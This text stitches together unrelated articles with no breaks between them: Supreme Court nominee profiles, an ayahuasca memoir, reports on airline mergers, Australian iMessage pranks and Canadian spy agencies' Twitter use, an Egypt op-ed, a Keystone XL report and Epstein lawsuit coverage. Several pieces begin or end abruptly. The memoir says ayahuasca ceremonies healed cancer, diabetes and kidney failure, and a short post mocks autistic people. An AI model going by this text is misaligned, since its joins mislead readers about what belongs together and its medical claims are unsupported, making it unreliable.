“It certainly is a lot for a person to take on to be the nominee in this heated political climate,” said Elizabeth Wydra of the liberal Constitutional Accountability Center.
Here are a look at some of the leading possibilities to be Obama's third nominee to the U.S. Supreme Court:
Sri Srinivasan
D.C. Circuit Judge Sri Srinivasan is perhaps the most attractive potential Supreme Court nominee for Obama if the goal is to put pressure on McConnell to allow a Senate confirmation vote. Nominated by Obama in June 2012, Srinivasan was confirmed in May 2013 by a unanimous, 97-0 vote.
Democrats believe that unambiguous verdict on Srinivasan could make it awkward for McConnell to block a vote on his nomination.
A nomination of Srinivasan, 48, to the high court would make history: he was born in India and would be the first Indian-American Supreme Court justice.
Srinivasan is widely viewed as a moderate. He clerked for Republican-appointed Justice Sandra Day O’Connor. In a speech last October, Srinivasan seemed to relish maintaining stability in the law. He suggested that fears he and three other Obama appointees would dramatically change the balance in the D.C. Circuit were overwrought.
Paul Watford
Watford is an Obama appointee on the 9th Circuit and has been repeatedly mentioned as a potential Obama Supreme Court nominee. He was confirmed in 2012, by a 61-34 vote.
Watford, who’s in his late 40s, spent a decade as a federal prosecutor in Los Angeles. Regarded as a moderate appointee, he was also a clerk to influential 9th Circuit Judge Alex Kozinski and Supreme Court Justice Ruth Bader Ginsburg. His list of judicial rulings is still fairly short, which can be an advantage in confirmation battles. Watford is African-American.
Patricia Ann Millett
Millett, 52, sits on the D.C. Circuit and is part of a slate of three nominees Obama put forward for that court in 2013. Those nominations triggered Republican threats of a filibuster and led Democrats to deploy the so-called nuclear option, changing Senate rules to prevent filibusters on judicial nominees below the Supreme Court level.
After considerable parliamentary maneuvering, Millett was confirmed by a 56-38 vote in December 2013.
Millett spent more than a decade as a Supreme Court litigator in the Solicitor General’s office at the Justice Department. She later chaired Akin Gump’s Supreme Court practice along with Tom Goldstein, founder of SCOTUSBlog, and sometimes contributed to that site.
Merrick Garland
Garland is a politically savvy Clinton appointee on the D.C. Circuit who has long been discussed as a potential Supreme Court nominee. He’s well respected by lawyers and lawmakers in both parties.
However, Garland’s now 63, making him a decade older than a typical Supreme Court nominee in the modern era.
Loretta Lynch
Loretta Lynch, 56, has served as Obama’s attorney general for less than a year, after her nomination got caught up in partisan wrangling in the Senate. Senators on both sides agreed that the disputes had little to do with her and she doesn’t seem to have engendered the same anger from the GOP that her predecessor, Eric Holder, produced.
Why? Because it worked too well.
Let me explain.
The Standard Story: Ayahuasca Saved My Life
When I first found Ayahuasca - or rather, when she first found me - I was deeply depressed, though I pretended to be the happiest chirpy ass blonde LA girl you would ever meet. I had paralyzingly painful migraine headaches at least every 2 weeks. I drank alcohol almost every single day, as much as my body could handle. I did drugs most weekends to escape and to feel better, but increasingly, they were making me feel worse.
I was fake. I was miserable. I was dying inside and out.
In short, I was on a fast-track to total self-destruction, but I appeared as though I had the ultimate dream life. I had a famous boyfriend. I co-owned a video game studio. I was interviewed on national television and a major documentary. It would seem this small town Montana girl had it all figured out.
Life was exploding. And I was imploding.
But then came Ayahuasca. In my first cycle in 2006 in the Amazonian jungle, I woke up to the truth: I hated myself, and I hated my life.
That was the most honest realization I had ever experienced.
She (Ayahuasca) also gave me the courage and resolve to do something about all this darkness. I knew I had to change just about every aspect of my life. And that was OK. Because for the first time, I finally believed I deserved to feel better.
When I Grow Up, I'm Gonna be an Ayahuasca Shaman
The changes started the moment I returned to my LA home. Career, friends, boyfriend, house, drugs, alcohol - every part of my world started experiencing the necessary overhaul.
And in those 2.5 years of massive transformation, I drank in as many ceremonies as I could afford before I was offered the blessing of apprenticing with a couple of different maestros. In the process of ending the old destructive patterns, I thought I had discovered my life's work: To be an Ayahuasquera. A shaman. A cuarendera. A healer.
I gave my all to this process. Every piece of me was committed. I did a total of 5 intensely restrictive and challenging plant dietas that spanned a sum total of almost 3 years. I became an organizer for a very large national Ayahuasca community, in which I did all the interviews, production, and aftermath assistance in addition to co-leading ceremonies. I sat in hundreds of Ayahuasca ceremonies with the maestros I worked with, guiding thousands of people through preparation, the medicine itself, and integration.
It's an unspeakably challenging process, working with these plants. Learning to facilitate. The level to which one must be honest, transparent, strong, courageous, trusting, and disciplined is indescribable. My teacher warned me it would only get more difficult, and that was true; but that only made me more dedicated. More willing to give more of myself.
Things are Not What They Seem
Over the course of a year or two, about a decade after I went full throttle, it became abundantly clear to me that my life's path was different than I imagined. I was not meant to lead ceremonies. My attachment to the process almost killed me, in truth, and maybe I'll share those details some other time. The circumstances aren't important right now, however, what I mean to share is this: Shamanism is not for everyone.
The fundamental understanding of anyone committing to a shamanic path is that there are good and bad energies (spirits) all around us, and a shaman aids in protection and clearing. Plants have spirits. Animals. Rocks. Humans, of course. The earth itself. The shaman is the bridgewalker, traveling to other realms to help with soul retrieval and spiritual cleansings that impact the tangible (body) and intangible (soul, mind, emotions, etc.)
I watched people with cancer heal themselves. Diabetes. Depression. Lyme disease. Kidney failure. Heart congestion. PTSD. Intense emotional traumas. You name it, I've seen it transformed in this process.
Nothing is Capable of Healing Us. We Have to Do It Ourselves.
Ayahuasca itself, contrary to what others say, is not a healer. She is a consciousness expander, which is far better. She shows us how to heal ourselves, if we're ready and willing. She can't force it, she can only show us the portal. If our soul knows it's time, then magic can unfold.
She opens us up to a different perspective, a more expanded view of ourselves, our tribe, and our world. She gives us the opportunity to understand our true nature, our patterns, our fears, and then provides guidance (through the vessel of a trained and authentic shaman) to choose differently. To heal. To expand.
Ultimately, however, Ayahuasca is what I call "the medicine of duality." She works by creating deep experiences of contrasts like fear and fearlessness, darkness and light, resistance and surrender.
But the more I worked with her, the more I became more singular in my awareness. By that I mean non-dual. And by that I mean - all contrasts collapsed into the one. I learned through EXPERIENCE (as opposed to thought) that hot and cold are just opposite sides of the same coin. Darkness and light are both made of God-stuff; they are all from source. And so in the highest truth, they are fundamentally the same experience, we just receive them from a filter of preference and feeling and compartmentalization.
In the true spirit of duality, she also helped me to own the truth of our human experience - that is, our divine (perceived but still very real) separateness. That means going deeper into soul, where pain is undeniable. I have experienced fear so wildly intense I sincerely thought I would combust from the realness. In that space, every moment felt like a lifetime. Each millisecond I had to hold on for dear life, thinking something far worse than death was about to consume me.
Despite knowing it's all an illusion, my emotional experience has hit every corner of the spectrum. And to that part of me, this shit is very, very real. My soul doesn't give a rat's patootie if my mind says it's all just perception. I feel. And to the part of me in separateness, that's the real deal.
Until it wasn't. Until I started experiencing it all as oneness. Until I accidentally uncovered a more unified truth.
Experiencing the Darkness as Part of the Light
I still feel the darkness - so intensely at times I think I might lose consciousness. But I never, ever believe it's anything other than exactly what I need. I know it's all love. And in that, the duality has fallen away.
This actually made me powerless as an Ayahuasquera.
Why? Because although I see and experience all those spirits, including the demonic ones, I started to deeply understand they are only projections that stem from our current perspective and vibration. They are both real (if we believe in them), and then when we see the bigger picture of reality, they become projections.
Both real and unreal. The ultimate contrast.
The trick of this is, since I don't believe in their existence as entities, and in our fundamental separateness, the tools fell away. They became ideas rather than tangible tactics. Holograms rather than bona fide methods.
It became like watching a movie. Yes, I would see the dark energies around a given being, especially while they were being doctored and helped. But I personally could not separate that those entities were simply (or not so simply) there not to torture and maim and harm, but to teach and reflect and assist. Darkness is the bad guy that teaches us our most profound lessons. And since we can't kill the darkness, we might as well turn our curiosity to it and dare to understand.
There's Nothing Wrong Here. Except that We Think There's Something Wrong.
I stopped wanting to interfere with the beauty of our journeys. I stopped feeling like something was wrong. I stopped believing in the boogeyman. I stopped knowing how to combat the darkness because I realized that darkness is there to teach us our lessons. Yes, it fucking sucks to have illness and disease and paralyzing fears. Pain and loss and separation and drama and OMG there's so much suffering in this world!
But none of this is an accident. These are gifts that we must own, integrate, understand, and love before we can transcend them. The only way out is through.
As Ayahuasca would tell me, you can hide kid, but you can't run. Shadow is part of self. Self is part of all. There is nothing to fix. Only to listen to. Only to understand.
To sum it up, I learned to accept everything as perfect.
And since I saw someone's (and my own) dis-ease as an aspect of soul, as an opportunity to heal and expand and grow, I no longer felt being a healer was my calling. Outside of duality, there is nothing to heal.
I was out of a job. I had been divinely duped.
Getting Dumped by Ayahuasca
Ayahuasca, in her infinite wisdom, pushed me out of our relationship. She basically dumped me. She dumped me HARD. But as I recovered, I discovered what is always, always true - that was a supreme, ridiculously awesome gift.
It was not done to me, this dismantling of identity - it was done for me.
And so, despite once dedicating my entire life to Ayahuasca and plant medicine, despite giving up everything to do this work, despite tattooing the plants and animal totems all over my body - I am personally done with shamanism.
Or am I ?
Life is always full of contrasts.
In truth, I am done with my old identification with shamanism. I had to do the "let go of something so a bigger vision can materialize" trick.
I once thought that there could be nothing bigger or more rewarding then helping people ease their suffering. As usual, I was wrong.
Understanding Suffering, Not Eradicating It
Now, I am taking all that profound learning, all those nights of terror and breakthrough and bliss and duality, and embarking on two journeys (duality again):
1) Deepening my own relationship to soul. Doing my best to own that I am only a vessel of divinity, that I don't know shit, that everything I go through (especially my suffering, the part I resist the most) is a gorgeous blessing, and that the intention of learning and expanding is All There Is (because it all leads to love....)
2) Guiding others through the uncharted territory of soul. Helping whomever is called to work with me to know themselves - and thus the entire experience of consciousness - in a more whole and complete way. Whether they are working with Ayahuasca and the master plants or not, I am overjoyed to help people understand their true essence. Their eternal nature. That everything is both real, and not real. That we are both mortal, and immortal.
I am not doing this by leading ceremonies. I have chosen instead to be the before and after guide, as that is where I can stay in my integrity.
But let me make one thing very clear: This is MY personal journey with Ayahuasca. She taught me the secrets of the universe, and then disengaged from our union.
This is not to say that others can't have the exact same realization and be a stronger shaman for accessing the non-dual state. That just wasn't my destiny. I wished with all my being that I could have it all. I was so attached and in love with being with her. But she and my soul had other plans, and I am honoring that completely.
Knowing all is perfect does not by default make you a defunct shaman. It just made ME one :)
Authentic Shamans and Journeyers are All Spiritual Warriors
I honor with all that I am every brave soul who both facilitates and participates in these sacred, time-honored experiences. It is NOT the easy path. It can be, and often is, the most rewarding experience of one's existence.
I am humbled and overjoyed to be the cheerleader. To guide the before and after. To help in the unraveling. To the connection to truth. To a deeper understanding of self. And most importantly, to a more complete experience of love - love of self, others, and the whole cosmic multiverse. And that means loving our shadow, which in its most complete form means loving Death.
So thank you, Ayahuasca. With all that I am, and all these tears I cry for you now, I honor you. I adore you. You will be Mamacita to my soul for all of eternity. I will miss our crazy ceremony times together. More than I can express. It seems impossible that one could grow out of and away from you, but such is my truth.
But to watch others experience the unique messages you have for THEM - it's like being with you myself, repeatedly, in a continuous stream of truth and love.
Go Forth and Find Your Own Truth
NEW YORK (AP) -- The government is trying to put a stop to rising airfares and fees by blocking the latest airline merger — but for fliers, it's already too late.
The past decade has seen the largest transformation of the airline industry in a generation. Prior to 2005, there were nine major U.S. airlines. Today, just five.
The merger of American Airlines and US Airways would bring that number down to four. But Tuesday, the Department of Justice moved to block the deal, saying it would cost consumers hundreds of millions of dollars a year in higher fares and extra fees.
But even before this, the cost of flying had gone up for consumers as the industry consolidated. The average cost of a roundtrip domestic ticket — including baggage and reservation change fees — grew to $378.62 last year, up from $351.48 in 2008, when adjusted for inflation.
The American-US Airways merger would create the world's biggest airline and help propel American out of bankruptcy court protection. For smaller US Airways, the deal represents a chance to be a significant player in global aviation and to better compete with the larger airlines that now dominate the market.
The airline industry has been searching for stability ever since the government stopped regulating routes and prices in 1978. Companies that once had profitable monopolies suddenly faced startups that undercut their fares. Since deregulation, 195 airlines — small and large — have filed for bankruptcy. Some emerged stronger. Some stopped flying. Others survived only through mergers.
While deregulation created havoc for the airlines' bottom line, it did open up flying to the masses. Air travel used to be only for the rich. In 1979 — the first year after deregulation — a roundtrip domestic ticket cost $590.49, when adjusted for inflation. As new airlines started flying, prices fell dramatically. Mergers have reversed that trend.
The latest round of consolidation started in 2005, when America West bought US Airways out of bankruptcy, taking its name. Then Delta and Northwest merged in 2008, followed by United and Continental, and Southwest and AirTran. All of those easily won the blessing of antitrust regulators — the first two under President George W. Bush, the second pair under President Barack Obama.
Andy Brennan, an analyst with IBISWorld, said the government approved those deals to save the then-struggling industry. Now that the airlines' health has improved, regulators are more concerned about airfares.
"While there's still a bit of turmoil and volatility in the economy, it's much more stable than it was only a few years ago," Brennan said.
The number of players in the European industry has shrunk as well, with the mergers of Air France and KLM, British Airways and Iberia, and Lufthansa with Swiss and Austrian.
Consolidation has made the airlines more stable, provided job security for thousands of employees and rewarded Wall Street investors. Business travelers have benefited from more flight options and easier connections. But families looking to go on vacation face higher fares and fewer airlines to choose from.
"It's too late. It's already a very consolidated industry," said Savanthi Syth, an airline analyst with Raymond James. "I don't know if you want to stop an industry from being profitable."
In seeking to stop the American-US Airways deal, the government contends that airlines already follow each other's moves in setting prices and adding new fees. They even bully each other out of offering sales.
For instance, on April 18, United Airlines increased its fee for changing a reservation from $150 to $200. Like lemmings, American, Delta Air Lines and US Airways all matched the higher fee within two weeks. Even JetBlue Airways — which has largely resisted fees — increased its change fee by 50 percent.
In the past, passengers might have balked at such fees and boycotted a particular airline. Today, they have no choice but to pay because of fewer options.
The airlines instituted many of the fees in 2008, when the price of fuel spiked 46 percent and the Great Recession sharply curtailed travel. Fuel prices are slightly lower today and travelers have returned to the skies. But airlines rely even more heavily on fees as a source of revenue, while increasingly catering to the highest-paying customers.
Apple’s messaging service, built into iOS devices and the newest versions of Mac OS X, lets users send text, picture, voice and video messages through an SMS-style app. But while most users link the service primarily to a phone number, it can also be connected to an email address, and at least two Australian legislators have apparently done so with their publicly available work addresses.
Senator George Brandis, the Australian attorney general, was the first minister to be on the receiving end of the messages, largely humorous in tone. Users sent photoshopped pictures, Blade Runner quotes and questions about favoured emoji to the senator, who has been at the forefront of pushing the data retention bill through the Australian legislature. Journalist Lauren Ingram even messaged him the entire first chapter of Orwell’s Nineteen Eighty-Four.
Brandis was also in the midst of a censure motion in the senate at the time, which was passed 35–32 on Monday. The Labor party had accused the attorney general of mistreating the president of the Human Rights Commission.
A campaign to protest the data retention act had encouraged Australian internet users to cc all their emails to Brandis’s government email address – or “curious george”, as the campaign nicknamed him. “Attorney general George Brandis is very very curious. He wants to know exactly what we’re all up to online. And the phone,” the campaigners wrote.
“We like ‘Curious George’. He’s such a clever little monkey. But he’s really not too technical. Please pledge below to help George feed his insatiable curiosity. All you need to do is to cc senator.brandis@aph.gov.au on all your emails. Easy!”
CSIS spokesperson Tahera Mufti was particularly quick in responding to the question. “Hey Ben,” she wrote in an email, “no we have no plans at this time to have a twitter account.” CSIS is the most direct Canadian parallel to the CIA, responsible for covert intelligence gathering operations pertaining to national security threats.
CSEC's media relations people were just as quick when asked if Canada’s NSA was interested in a Twitter account. “CSE does not have plans to create an official CSE twitter account at this time,” wrote spokesperson Lauri Sullivan.
Neither agency offered a reason for their continued tweet silence.
It shouldn't be too much of a surprise that CSEC and CSIS are staying away from Twitter. Journalists have come to expect little from the Harper government in terms of communication skills and transparency. Even if the Twitter accounts would offer little actual insight into the world of CSEC or CSIS, seeing how either agency uses social media could be hilarious, or at least help civilians understand how the agencies view themselves. Are they concerned about their public image? Would they too begin their social media presence with an underhanded tweet?
We can neither confirm nor deny that this is our first tweet.
— CIA (@CIA) June 6, 2014
On the public image front, CSIS hasn’t undergone the same public battering as CSEC of late. While CSIS has dealt with its own controversies in the past, CSEC was caught recently spying on the Brazilian natural resources department and grabbing citizen metadata through an unnamed airport wifi. Those two stories, which come courtesy of whistleblower Edward Snowden's leaked documents, kicked off renewed public interest in the signals intelligence agency.
That said, for better or worse, neither CSEC nor CSIS suffered the same level of public relations crisis the CIA or the NSA are experiencing since evidence of mass surveillance and the drone kill lists started emerging. In fact, Canadians are notoriously less interested in privacy issues and government spying than Americans. Not to mention, neither CSEC nor CSIS requires immediate access to a public Twitter audience for operational purposes, like threat updates or advisories.
The Royal Canadian Mounted Police, more of an FBI counterpart, are already very active on Twitter doing the job for them. Just last week the national law enforcement agency actively tweeted live updates during a massive manhunt in Moncton for a gunman who killed three Mounties. CSIS and CSEC couldn’t do the same kinds of tweets, unless they wanted to give away the terrorist cell they were monitoring, or how they may or may not be infringing on personal liberties.
There’s no telling why the CIA launched its own social media presence to begin with. Jordan Pearson pointed out that it was to offset a lagging public image associated with ongoing drone strike campaigns and general human rights abuses the agency has become synonymous with. Whatever the plan is, the official CIA website is promising “throwback thursdays” and “fun facts” about the agency, along with job postings for new recruits. In other words, expect the agency known for top secret torture sites in Poland to tweet historical tidbits about the time they saved America from communists.
In the end, Fives Eyes allies like the British GCHQ and MI5, haven’t started using Twitter either. The CIA is really the lone intelligence agency willing to go millennial and curry a public image online. Even so, people can count the CIA’s “#tbt” tweets to be more fluff than tangible intel, while the Canadians stay characteristically silent.
To understand the extent to which Egypt's military dominates its society, look no further than its economy: the military owns all kinds of businesses and sells all sorts of products, controlling vast unknown amounts of Egypt's economy, estimated at upwards of 40 percent.
Most of the products -- including clothing, stationery, dishwashers, microscopes and even Chrysler Jeep-branded vehicles -- are sold by discount to its personnel. But a lot of it is also sold on the commercial market, including products like olive oil, chicken and soap.
The list doesn't end there. The military owns farmland and builds everything from highways, resorts and hotels to sewers, schools and bridges - a list that is as exhaustive as its economic domination is efficient, given that it pays its workforce below-average wages and conscripts make up a large majority of the workforce.
Unfortunately, Egypt's military and its biggest benefactor, the United States government, are also selling a big lie to the world: that they are promoting, rather than obstructing, democracy in Egypt. And by equivocating about what's actually going on in Egypt -- wanting to be seen as supporting neither the Muslim Brotherhood nor the liberal secularists -- America is ultimately enabling the military, facilitating corruption and inhibiting democracy in the Middle East's most populous country.
It has now been 16 days since Egypt's first democratically-elected (as well as dictatorial and arguably delusional) president Mohammed Morsi was kidnapped by the military. Since then, the military's appointed President has sworn in a new cabinet, giving members of the country's liberal parties key positions, and naming three Christians and three women to the cabinet, a first in Egypt's history.
That cabinet, which has more than 30 ministers, does not include a single member of Islamist parties. And like their millions of supporters, the Muslim Brotherhood has refused to accept the legitimacy of the cabinet while the president they elected remains MIA.
Foreign governments, like Turkey and Germany, have called Morsi's ongoing detention an illegitimate act. But the military continues to hold him without bringing any formal charges.
"I have received confirmation that he is well," EU Foreign Policy Chief Catherine Ashton said. "I believe he should be released."
Last Monday, in the bloodiest incident of state violence since the uprising began two and a half years ago, 53 supporters of the Muslim Brotherhood were killed at a sit-in near the Republican Guard's headquarters. "The majority of injured had gunshot wounds to the head," a local doctor told Al Jazeera (which, incidentally, has reportedly seen its television signals jammed in Egypt this week).
This, of course, is not new for Egypt's military. During the 15 months the military ruled between Mubarak's ouster and Morsi's election, more than 850 people were killed (80 of them losing their eyes), more than 1,000 were subjected to forced disappearances and 12,000 civilians faced military trials. Morsi's yearlong presidency only brought more of the same: more torture, more economic hardship, more polarization and more killings.
Although former Presidents Mubarak and Morsi both governed with a casual corruption and authoritarian rule, in today's Egypt -- as has been the case for decades -- the biggest culprit of corruption is the all-powerful, unaccountable and often tyrannical Supreme Council of Armed Forces (SCAF). If there is any chance for Egypt to emerge as a stable democratic state, this fundamental problem must be addressed.
Until then debates about whether the ouster of Morsi was a military coup or a manifestation of Egypt's ongoing people-powered revolution will unfortunately continue to dominate discussion and distract from the simple truth: it was both.
Of course that debate has one practical significance: the $1.3 billion in military aid the United States sends each year (and has sent since 1979) hangs in the balance. But where does America fit into all of this?
Despite calls from Senators Lindsey Graham and John McCain to cut military aid to Egypt, the Obama administration announced plans to deliver four F-16 fighter jets to Egypt in the coming weeks. But even if the Obama administration heeds the Republican Senators' call, there is already a growing coalition of gulf states -- namely Saudi Arabia -- that are ready to step up and take its place.
The Saudis -- incidentally the first foreign government to congratulate Egypt's new interim President Adly Mansour -- have made it clear they would compensate for any cuts in U.S. aid to Egypt. Eager to see an army-led government retake control from the Muslim Brotherhood, they have already approved a $5 billion aid package to Egypt comprising a $2 billion central bank deposit, $2 billion in energy products, and $1 billion in cash, according to Saudi's Finance Minister. A military addition is hardly far-fetched (they are already arming the Syrian opposition with military weapons to fight President Bashar Al Assad).
Meanwhile the United Arab Emirates has pledged $3 billion and Kuwait has offered a $4 billion aid package of their own on last Wednesday, bringing the total pledges by Gulf monarchies to a whopping $12 billion since Morsi's ouster. Two oil tankers carrying much-needed crude and diesel worth $200 million left Kuwait for Egypt on Sunday.
Sadly for revolution-happy Qatar, which has already funneled over $8 billion to Egypt since Mubarak's ouster, this time they might have made a bad investment. Unlike Qatar, Saudi and the U.A.E. have long been critical of the Muslim Brotherhood -- and in a matter of just a few days, they have pledged as much money as Qatar had sent to Egypt's Brotherhood-led government in a two-year period, including gas deals, to prop up the economy.
This puts the United States at something of a crossroads in Egypt. No longer the country's (or the military's) only economic savior, America can no longer expect to lead simply with its checkbook. And for as much as America cannot afford to terminate military aid for the sake of regional stability - namely Israel's security -- America equally claims to support democracy and freedom in the Arab world. Yet for decades it has trained and funded Egypt's brutal military, aiding and abetting the most obstructive and corrupt challenge to democracy (as well as dignity) in Egypt. Keeping the military strong and impervious to oversight undermines America's credibility and Egypt's democracy.
The U.S. can continue to portray itself as not taking sides in Egypt's political turmoil. American diplomats can continue to speak about Egypt's "second chance" at democracy, confirming that despite calls for inclusivity, America, like Saudi Arabia, was happy to turn the page on the Brotherhood.
But instead of wavering and teetering, America should recognize and leverage its influence with Egypt's military to begin pushing for more transparency and accountability, especially in regards to its brutality and dominance in Egypt's political roadmap and its economy. The U.S. government has called for "a transparent political process that is inclusive of all parties and groups," but continues to support the same organization that has refused to place a single member of any Islamist parties in any of the 30 key cabinet positions.
And it's not as if America can plead ignorance to the level of corruption and lack of transparency plaguing the SCAF. The United States' Ambassador to Egypt, Margaret Scoby, even wrote -- in a secret cable released by Wikileaks -- that "Defense Minister Tantawi keeps the Armed Forces appearing reasonably sharp and the officers satisfied with their perks and privileges."
American colleagues of mine reporting on the ground in Egypt, like Matthew Cassel and Ben Wedeman, have suggested it simply isn't as safe for them in Tahrir Square as it used to be. Protests have grown increasingly nationalistic and anti-American, with members of the June 30 Tamarod (Rebellion) coalition that took to the streets in unprecedented numbers to oust Morsi now speaking out against the United States. Ironically, those same voices chanting against America are chanting in favor of Egypt's American-made military, seemingly ignorant to the extent to which the two are acting in concert with each other.
So long as soldiers and their military trucks and APCs continue to roam on Cairo's streets it is safe to assume that with an interim Cabinet absent of any Islamists, the military is still running the show in Egypt. And for as much as the military (with its heart-shaped flyovers) might claim that "the army, the people are one hand," many Egyptians are right to be skeptical.
In addition to the 53 killed last Monday morning, four Shiites were killed by a cheering Sunni Muslim mob while the police watched. The attack happened just one week after President Morsi appeared on stage with hardline clerics who denounced Shiites as "filthy" and called for Egyptians to go fight in Syria against Assad's regime and wage a holy war. Dozens have died in violence in the Sinai and nearly 100 people have been killed in clashes since the military's coup.
In his first remarks since announcing the ouster of President Mohammed Morsi on July 3, Egyptian Defense Minister Gen. Abdel-Fattah el-Sissi said the armed forces "acted at the urging of the people." It seems the military has not learned from the mistakes of the past. Its constitutional declaration has become the new law of the land. While it calls for a speedy transition to civilian government, the truth remains that an anonymous committee wrote it without input from the main opposition groups - including the National Salvation Front and Tamarod.
Once again, Egypt's constitution shields the military from civilian oversight and puts the military above all powers of the state. This is clearly not how any democracy should work (somewhere, Donald Rumsfeld is probably wishing he had come to power in Cairo).
On Saturday, Turkey, which condemned the military's overthrow of Morsi, amended an internal armed forces' regulation that the country's generals used as grounds for intervening in politics, ultimately strip military of its political influence.
"Our country has a tradition of coups," Turkish Defense Minister Ismet Yilmaz told parliament, speaking in favor of the amendment. "And the true victim of the coups has always been the people."
Reeling from the assault of “weaponized autism” that has seen numerous Leftist schemes unraveled, modern science strikes back with an alleged cure for autism:
To the dismay of parents and practitioners, the Centers for Disease Control and Prevention reported last year that the number of children with autism in the US had risen between 2000 and 2012 from one in 150 to one in 68. It’s no wonder that parents, medical professionals, and autism advocates are desperate to find something that can manage — or, better yet, cure — the disease. Now researchers from the University of California, San Diego School of Medicine have published a research article in the Annals of Clinical and Translational Neurology that shows a tentative link between a 100-year old medication and improvements in children with autism.
Interestingly, the researchers claim that the drug interrupts a stuck cellular process. Cells under stress harden their membranes and cease or limit communication with other cells, creating a kind of shutdown metaphorically similar to the psychological effects of autism. By inhibiting extracellular ATP signaling, the drug Suramin gives cells the all-clear and they start interacting normally again.
While this is good news for the parents of autistic children, it cannot be long before it is prescribed as mandatory for right-wing commenters on the internet.
Tags: autism, suramin
The report finds that:
Drivers, especially in the Midwest, would pay 20 cents to 40 cents more at the pump if the disputed pipeline were built, as the current discount of up to $30 a barrel for Canadian oil disappears.
The true goal of multinational oil companies and Canadian politicians backing the pipeline is to reach export outlets outside the U.S. for tar sands oil and refined fuels, which would drive up the oil’s price.
With U.S. oil production rising fast, any “energy security” benefit for the U.S. would vanish as American oil output exceeds that of Saudi Arabia in about 2020, according to the International Energy Agency.
The report, produced by Research Director Emeritus Judy Dugan and independent energy analyst Tim Hamilton, utilized industry data, public records and company documents. Access the report, charts and graphics here: http://www.consumerwatchdog.org/sites/default/files/resources/keystonexl_cwd.pdf
“Keystone XL is not an economic benefit to Americans who will see higher gas prices and bear all the risks of the pipeline,” said report author Judy Dugan. “The pipeline is being built through America, but not for Americans.”
“A vote for Keystone is a vote to raise gas prices on Americans and send the profits to a foreign oil company,” said clean-energy investor Thomas Steyer, one of America’s most successful businessmen. Steyer, who won two campaigns for clean energy in California, has signed the "Giving Pledge" and is devoting the majority of his financial resources to clean energy research and causes. "The Consumer Watchdog reports makes clear that the Keystone XL Pipeline will lead to higher prices for American drivers at the pump and increased profits for foreign oil interests at a time when our U.S. economy is still in recovery.”
The report also found that Canadian crude oil currently being sent to the Midwest from Canada would be easily diverted to Keystone XL to satisfy overseas demand.
Much of the Canadian oil would go directly to Gulf Coast refineries owned by the same multinational companies investing in tar sands, said the report. These companies include Exxon Mobil, Chevron, Koch Industries, Marathon Oil and Shell Oil, said the report. Gulf refineries would refine the tar sands crude oil into diesel oil, which is in high overseas demand, and gasoline for export.
Price hikes at the pump are likely to hit as far as California. Canada is the second-largest exporter of crude to the West Coast region, just behind Ecuador. California refiners are taking action to import and use more Canadian oil.
Political leaders in the Canadian province of British Columbia have officially opposed plans for a major new tar sands oil pipeline from Alberta through their province to the Pacific Coast. Two other similar proposals may meet the same fate, and are certainly years in the future. This Canadian opposition increases the motivation of tar sands investors and developers and to get Keystone XL built as sure access to overseas markets.
“Any reduction of deliveries to Midwest refineries would crimp gasoline supply, further driving up pump prices, and Keystone XL’s backers want to move cheap oil out of the Midwest,” said report author Judy Dugan. “Many major Midwest refineries have also made expensive changes to maximize their use of the tar sands oil and could not operate as efficiently using different grades of oil from other sources.”
While the pipeline developers have insisted that the pipeline would create tens of thousands of jobs, they have offered no proof of substantial jobs created beyond construction and maintenance of the pipeline itself.
The conclusion of the report is: “U.S. consumers should be wary of the Keystone XL pipeline--not just for substantial environmental and safety reasons, but because it threatens their wallets. Given the fleeting benefits of construction jobs, the unprovability of long-term benefits and the negative effect of higher gasoline costs on consumers, Keystone XL is no economic boon to the United States. U.S. consumers and the overall economy would bear the substantial risks of the pipeline without measurable permanent benefit.”
Prince Andrew was named this week in an ongoing lawsuit brought by a group of women who claim they were trafficked to the world’s rich and powerful as part of an alleged underage “sex slave” ring run by American investment banker Jeffrey Epstein.
The allegation, found in a court filing this week, prompted Buckingham Palace to issue an unusual statement to the Guardian, noting that the allegation surfaced in “long-running and ongoing civil proceedings in the United States to which the Duke of York is not a party.” The statement continues: “As such we would not comment in detail. However, for the avoidance of doubt, any suggestion of impropriety with underage minors is categorically untrue.”
As part of a 2008 plea deal with prosecutors, Epstein spent 13 months in prison on a state charge of soliciting prostitutes. According to unsealed documents pertaining to that deal, Epstein was the subject of a federal investigation probing allegations that the powerful figure abused dozens of underage girls at his Palm Beach mansion. The deal effectively allowed him to avoid potential federal charges stemming from the investigation.
The lawsuit, filed in 2008 by two anonymous alleged victims, charges federal prosecutors with violating a statute by not consulting with them before finalizing the plea deal. The latest filing is a motion to expand that existing case to include the allegations of two more women.
Those women named Prince Andrew, Alan Dershowitz and other powerful associates of Epstein as participants in the alleged sexual abuse ring. It’s the first time the Duke of York’s name has appeared in a court document alleging that he sexually abused Epstein’s alleged victims.
But as the Guardian’s reporting makes clear, this isn’t the first time the Duke of York’s name has been linked publicly to the allegations against Epstein: Prince Andrew was friends with Epstein for years — before, during and after the banker served time in prison. In 2011, responding to a statement from one of Epstein’s former employees, Prince Andrew told Vanity Fair that he never attended any of the notorious pool parties at Epstein’s Palm Beach mansion and denied having contact with the alleged victims. He allegedly ended his friendship with Epstein at some point that year.
In the new motion, “Jane Doe #3” says she was “forced to have sexual relations with this Prince when she was a minor in three separate geographical locations,” including in British socialite Ghislaine Maxwell’s apartment in London; during an “orgy” on Epstein’s island in the U.S. Virgin Islands; and in New York.
“Epstein instructed Jane Doe #3 that she was to give the Prince whatever he demanded and required Jane Doe #3 to report back to him on the details of the sexual abuse,” the document says. Maxwell is a friend of Epstein’s who is named as a co-conspirator in the suit.
Dershowitz, too, has denied the allegations against him in the new motion. Speaking to Politico this week, the attorney said the claims were “totally, unequivocally and completely false.” Those allegations include a claim that “Deshowitz was an eye-witness to the sexual abuse of many other minors by Epstein and several of Epstein’s co-conspirators,” that “Epstein required Jane Doe #3 to have sexual relations with Dershowitz on numerous occasions,” and that the attorney played “a significant role” in negotiating Epstein’s federal plea agreement.
Dershowitz told Politico he’s planning on filing some charges of his own in response to the allegations:
“[I’m] planning to file disbarment charges against the two lawyers who signed this petition without even checking the manifests of airplanes or travel itineraries, et cetera,” he said. “I’m also challenging the young woman and the lawyers to level those charges against me outside of the courtroom, so that I can sue them for defamation…..Finally, I’m challenging the woman to file criminal charges against me because the filing of false criminal charges is a crime.”
Federal prosecutors identified more than 40 potential victims in their investigation against Epstein before the federal inquiry was dropped in the plea deal. Some of those victims have reached out-of-court settlements with Epstein for undisclosed amounts.
